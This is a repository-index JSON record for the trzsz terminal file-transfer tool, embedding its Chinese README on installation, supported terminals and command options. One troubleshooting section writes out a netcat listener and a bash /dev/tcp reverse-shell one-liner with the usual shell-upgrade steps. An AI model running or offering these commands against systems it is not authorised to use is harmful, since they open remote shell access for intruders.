{"id":13525619,"url":"https://github.com/trzsz/trzsz","last_synced_at":"2025-05-16T11:07:24.627Z","repository":{"id":40359334,"uuid":"436126869","full_name":"trzsz/trzsz","owner":"trzsz","description":"trzsz is a simple file transfer tools, similar to lrzsz ( rz / sz ), and compatible with tmux.","archived":false,"fork":false,"pushed_at":"2024-01-28T03:32:12.000Z","size":1001,"stargazers_count":1299,"open_issues_count":8,"forks_count":59,"subscribers_count":9,"default_branch":"main","last_synced_at":"2025-04-09T05:06:55.703Z","etag":null,"topics":["iterm2","lrzsz","macos","rz","sz","tmux","trz","trzsz","tsz","zmodem"],"latest_commit_sha":null,"homepage":"https://trzsz.github.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/trzsz.png","metadata":{"files":{"readme":"README.cn.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":"trzsz"}},"created_at":"2021-12-08T05:25:10.000Z","updated_at":"2025-04-07T09:50:02.000Z","dependencies_parsed_at":"2022-07-12T00:30:34.382Z","dependency_job_id":"646a9382-71e4-4dcc-8a57-090eaf4d7ee3","html_url":"https://github.com/trzsz/trzsz","commit_stats":null,"previous_names":[],"tags_count":14,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trzsz%2Ftrzsz","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trzsz%2Ftrzsz/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trzsz%2Ftrzsz/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trzsz%2Ftrzsz/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/trzsz","download_url":"https://codeload.github.com/trzsz/trzsz/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254518379,"owners_count":22084374,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["iterm2","lrzsz","macos","rz","sz","tmux","trz","trzsz","tsz","zmodem"],"created_at":"2024-08-01T06:01:20.457Z","updated_at":"2025-05-16T11:07:19.618Z","avatar_url":"https://github.com/trzsz.png","language":"Python","funding_links":["https://github.com/sponsors/trzsz"],"categories":["Python","Sync-Tools"],"sub_categories":[],"readme":"# trzsz ( trz / tsz ) - 类似 rz / sz，兼容 tmux 的文件传输工具\n\n[![MIT License](https://img.shields.io/badge/license-MIT-green.svg?style=flat)](https://choosealicense.com/licenses/mit/)\n[![PyPI trzsz](https://img.shields.io/pypi/v/trzsz?style=flat)](https://pypi.python.org/pypi/trzsz/)\n[![WebSite](https://img.shields.io/badge/WebSite-https%3A%2F%2Ftrzsz.github.io%2F-blue?style=flat)](https://trzsz.github.io/)\n[![中文文档](https://img.shields.io/badge/%E4%B8%AD%E6%96%87%E6%96%87%E6%A1%A3-https%3A%2F%2Ftrzsz.github.io%2Fcn%2F-blue?style=flat)](https://trzsz.github.io/cn/)\n\n`trzsz` ( trz / tsz ) 是一款优秀的文件传输工具，和 lrzsz ( rz / sz ) 类似的、兼容 tmux 的文件传输工具。\n\n## 如何使用\n\n1. 在服务器上安装 `trzsz` ( trz / tsz )，有 [go](https://github.com/trzsz/trzsz-go)、[py](https://github.com/trzsz/trzsz) 和 [js](https://github.com/trzsz/trzsz.js) 三种实现，互相兼容。\n\n2. 本地要使用支持的终端，有本地 shell 的终端可以使用 [trzsz-ssh ( tssh )](https://github.com/trzsz/trzsz-ssh)，或参考下文【支持的终端】。\n\n3. 使用 `trz` ( 类似 `rz` ) 命令上传文件，使用 `tsz` ( 类似 `sz` ) 命令下载文件。\n\n## 为什么做\n\n- 考虑 `laptop -\u003e hostA -\u003e hostB -\u003e docker -\u003e tmux` 这种场景，使用 `scp` 或 `sftp` 是不方便的。\n\n- 在这种场景下，使用 `lrzsz` ( rz / sz ) 是很方便的，但是很可惜它与 `tmux` 不兼容。\n\n- `tmux` 不打算支持 rz / sz ( [906](https://github.com/tmux/tmux/issues/906), [1439](https://github.com/tmux/tmux/issues/1439) )，于是就开发了 `trzsz` ( trz / tsz )。\n\n## 优点介绍\n\n- 支持 **tmux**，包括 tmux 普通模式，以及与 iTerm2 集成的 tmux 命令模式。\n- 支持 **传输目录**，`trz -d` 命令上传目录，`tsz -d xxx` 命令下载 xxx 目录。\n- 支持 **断点续传**，`trz -y` 或 `tsz -y xxx` 覆盖目标文件会自动进行断点续传。\n- 支持 **Windows**，不仅可在 Windows 客户端使用，也可在 Windows ssh 服务器使用。\n- 支持 **原生终端**，不需要原生终端做支持，只要使用 `trzsz ssh x.x.x.x` 登录即可。\n- 支持 **web 终端**，通过 web 浏览器在本地与服务器之间传输目录和文件。\n- 支持 **拖动上传**，将文件和目录拖到终端窗口即可上传到远程服务器。\n- 支持 **进度条**，显示当前正在传输的文件名、进度、大小、速度和剩余时间等。\n- 更好的 **交互体验**，传输成功或出错时显示友好的结果，`ctrl + c` 优雅中止。\n\n## 安装指南\n\n### 在远程服务器上安装\n\n- 安装 [用 Go 实现的版本](https://github.com/trzsz/trzsz-go)（ ⭐ 推荐 ）\n\n  请查看 Go 版安装指引：[https://trzsz.github.io/cn/go](https://trzsz.github.io/cn/go)\n\n- 或者用 Python3 安装\n\n  ```\n  sudo python3 -m pip install --upgrade trzsz\n  ```\n\n- 或者用 Python2 安装\n\n  ```\n  sudo python2 -m pip install --upgrade trzsz\n  ```\n\n- 或者用 Homebrew 安装\n\n  ```\n  brew update\n  brew install trzsz\n  ```\n\n- 或者用 Node.js 安装\n\n  ```\n  sudo npm install -g trzsz\n  ```\n\n\u0026nbsp;\u0026nbsp;没有 `sudo` 权限也可以安装，只要将安装路径 ( 可能是 `~/.local/bin` ) 添加到 `PATH` 环境变量中即可。\n\n### 支持的终端\n\n- [trzsz-ssh](https://trzsz.github.io/cn/ssh) ( tssh ) -- 内置支持 trzsz 的 ssh 客户端（ ⭐ 推荐 ）。\n\n- [iTerm2](https://iterm2.com/) -- 参考 [Trzsz-iTerm2 安装文档](https://trzsz.github.io/cn/iterm2)。\n\n- [tabby](https://tabby.sh/) -- 安装 [tabby-trzsz](https://github.com/trzsz/tabby-trzsz) 插件即可。\n\n- [electerm](https://electerm.github.io/electerm/) -- 升级到 `1.19.0` 以上的版本即可。\n\n- [ttyd](https://github.com/tsl0922/ttyd) -- 升级到 `1.7.3` 以上的版本，并且启动时加上 `-t enableTrzsz=true`，非 localhost 要用 `https`。\n\n- [trzsz-go](https://trzsz.github.io/cn/go) -- 只要是支持本地 shell 的终端就可以用。\n\n- [trzsz.js](https://trzsz.github.io/cn/js) -- 让运行在浏览器中的 webshell 和用 electron 开发的终端支持 `trzsz`。\n\n\u0026nbsp;\u0026nbsp;_如果你的终端也支持 `trzsz`，请告诉我，我很乐意将它加到此列表中。_\n\n## 使用指南\n\n#### `trz` 上传文件\n\n`trz` 命令可以不带任何参数，将上传文件到当前目录。也可以带一个目录参数，指定上传到哪个目录。\n\n```\ntrz /tmp/\n```\n\n#### `tsz` 下载文件\n\n`tsz` 可以带一个或多个文件名（可使用相对路径或绝对路径，也可使用通配符），将下载指定的文件。\n\n```\ntsz file1 file2 file3\n```\n\n#### `-q` 静默模式\n\n`trz -q` 或 `tsz -q xxx` ( 加上 `-q` 选项 )，则在传输文件时不显示进度条。\n\n#### `-y` 覆盖模式\n\n`trz -y` 或 `tsz -y xxx` ( 加上 `-y` 选项 )，如果存在相同文件名的文件就直接覆盖，并支持断点续传。\n\n#### `-b` 二进制模式\n\n`trz -b` 或 `tsz -b xxx` ( 加上 `-b` 选项 )，二进制传输模式，对于压缩包、图片、影音等较快。\n\n#### `-e` 转义控制字符\n\n二进制模式时，控制字符可能会导致失败，`trz -eb` 或 `tsz -eb xxx` ( 加上 `-e` 选项 ) 转义所有已知的控制字符。\n\n#### `-d` / `-r` 传输文件夹\n\n`trz -d` 或 `tsz -r xxx` ( 加上 `-d` 或 `-r` 选项 )，则可以上传或下载指定文件夹和文件。\n\n#### `-B` 缓冲区上限\n\n`trz -B 20m` 或 `tsz -B 2M xxx` 等，设置最大缓冲区上限 ( 默认 10M )。会自动根据网速选择合适的缓冲区大小，但不会超过此上限。\n\n#### `-t` 超时时间\n\n`trz -t 30` 或 `tsz -t 30 xxx` 等，设置超时秒数 ( 默认 20 秒 )。在超时时间内，如果无法传完一个缓冲区大小的数据则会报错并退出。设置为 0 或负数，则永不超时。\n\n#### 异常处理方法\n\n- 如果 `tmux` 是运行在本地电脑上。\n\n  - 方案 1：使用 `tmux -CC` 与 iTerm2 集成，请参考 [iTerm2 与 tmux -CC 集成](https://trzsz.github.io/cn/tmuxcc)。\n  - 方案 2：在本地电脑上安装 [trzsz-go](https://trzsz.github.io/cn/go)，在 `tmux` 之后用 `trzsz ssh` 登录。\n  - 方案 3：在本地电脑上安装 [trzsz-ssh](https://trzsz.github.io/cn/ssh)，在 `tmux` 之后用 `tssh` 登录。\n\n- 如果 `tmux` 是运行在跳板机上。\n\n  - 方案 1：使用 `tmux -CC` 与 iTerm2 集成，请参考 [iTerm2 与 tmux -CC 集成](https://trzsz.github.io/cn/tmuxcc)。\n  - 方案 2：在跳板机上安装 [trzsz-go](https://trzsz.github.io/cn/go)，在 `tmux` 之后用 `trzsz -r ssh` 登录。\n  - 方案 3：在跳板机上安装 [trzsz-ssh](https://trzsz.github.io/cn/ssh)，在 `tmux` 之后用 `tssh` 登录。\n\n- 如果出现了错误，且 `trzsz` 挂住不能动了：\n\n  - 按组合键 `control + c` 可以停止服务器上的 `trz` 或 `tsz` 进程。\n  - 对于 iTerm2 用户，按组合键 `command + option + shift + r` 可以停止 [iTerm2 Coprocesses](https://iterm2.com/documentation-coprocesses.html)。\n\n- 如果 `trz -b` 二进制上传失败，并且登录远程服务器时使用了 `telnet` 或 `docker exec`：\n\n  - 可以试试转义所有控制字符，例如 `trz -eb`。\n\n- 如果 `trz -b` 或 `tsz -b` 二进制传输失败，并且登录远程服务器时使用了 `expect`：\n\n  - 可以试试在 `expect` 脚本前设置环境变量 `export LC_CTYPE=C`，例如：\n    ```\n    #!/bin/sh\n    export LC_CTYPE=C\n    expect -c '\n      spawn ssh xxx\n      expect \"xxx: \"\n      send \"xxx\\n\"\n      interact\n    '\n    ```\n\n- 如果想在反弹 shell 中使用 `trz / tsz` 上传和下载，则需要按以下步骤操作：\n\n  - 1\\. 使用 `tssh xxx` 或 `trzsz ssh xxx` 登录服务器。\n  - 2\\. 在服务器上执行 `nc -lnv 1337`，等待反弹 shell 连接。\n  - 3\\. 在目标机器反弹连接到服务器，如 `bash -i \u003e\u0026 /dev/tcp/192.168.0.1/1337 0\u003e\u00261`。\n  - 4\\. 以下在反弹 shell 中操作：\n    - 4.1. 转换成交互式 shell，如 `python3 -c 'import pty; pty.spawn(\"/bin/bash\")'`。\n    - 4.2. 按下 `ctrl + z` 将反弹 shell 转入后台运行。\n    - 4.3. 执行 `stty raw -echo; fg` 屏蔽服务器的回显，并将反弹 shell 转到前台运行。\n    - 4.4. 此时按一次回车键，就会显示命令行提示符等了。\n    - 4.5. 设置终端环境变量 `export TERM=xterm-256color`（ 此步骤非必须 ）。\n    - 4.6. 检查是否存在 `TMUX` 环境变更，若存在则要清掉 `unset TMUX`。\n    - 4.7. 此时就可以正常使用 `trz / tsz` 上传和下载了。\n  - 5\\. 退出交互式 shell 后，输入的字符将不会回显，盲打 `exit` 退出反弹 shell。\n  - 6\\. 此时在服务器上盲打 `reset` 并回车，恢复终端的默认设置，然后回显就恢复正常了。\n\n## 屏幕截图\n\n#### trzsz 在 iTerm2 中 text 进度条示例\n\n![using trzsz in iTerm2 with text progress bar](https://trzsz.github.io/images/iterm2_text.gif)\n\n#### trzsz 在 iTerm2 中 zenity 进度条示例\n\n![using trzsz in iTerm2 with zenity progress bar](https://trzsz.github.io/images/iterm2_zenity.gif)\n\n#### trzsz 在 tabby 中 tabby-trzsz 插件示例\n\n![using trzsz in tabby with tabby-trzsz plugin](https://trzsz.github.io/images/tabby_trzsz.gif)\n\n## 联系方式\n\n有什么问题可以发邮件给作者 \u003clonnywong@qq.com\u003e，也可以提 [Issues](https://github.com/trzsz/trzsz/issues) 。欢迎加入 QQ 群：318578930。\n\n## 赞助打赏\n\n[❤️ 赞助 trzsz ❤️](https://github.com/trzsz)，请作者喝杯咖啡 ☕ ? 谢谢您们的支持！\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftrzsz%2Ftrzsz","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftrzsz%2Ftrzsz","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftrzsz%2Ftrzsz/lists"}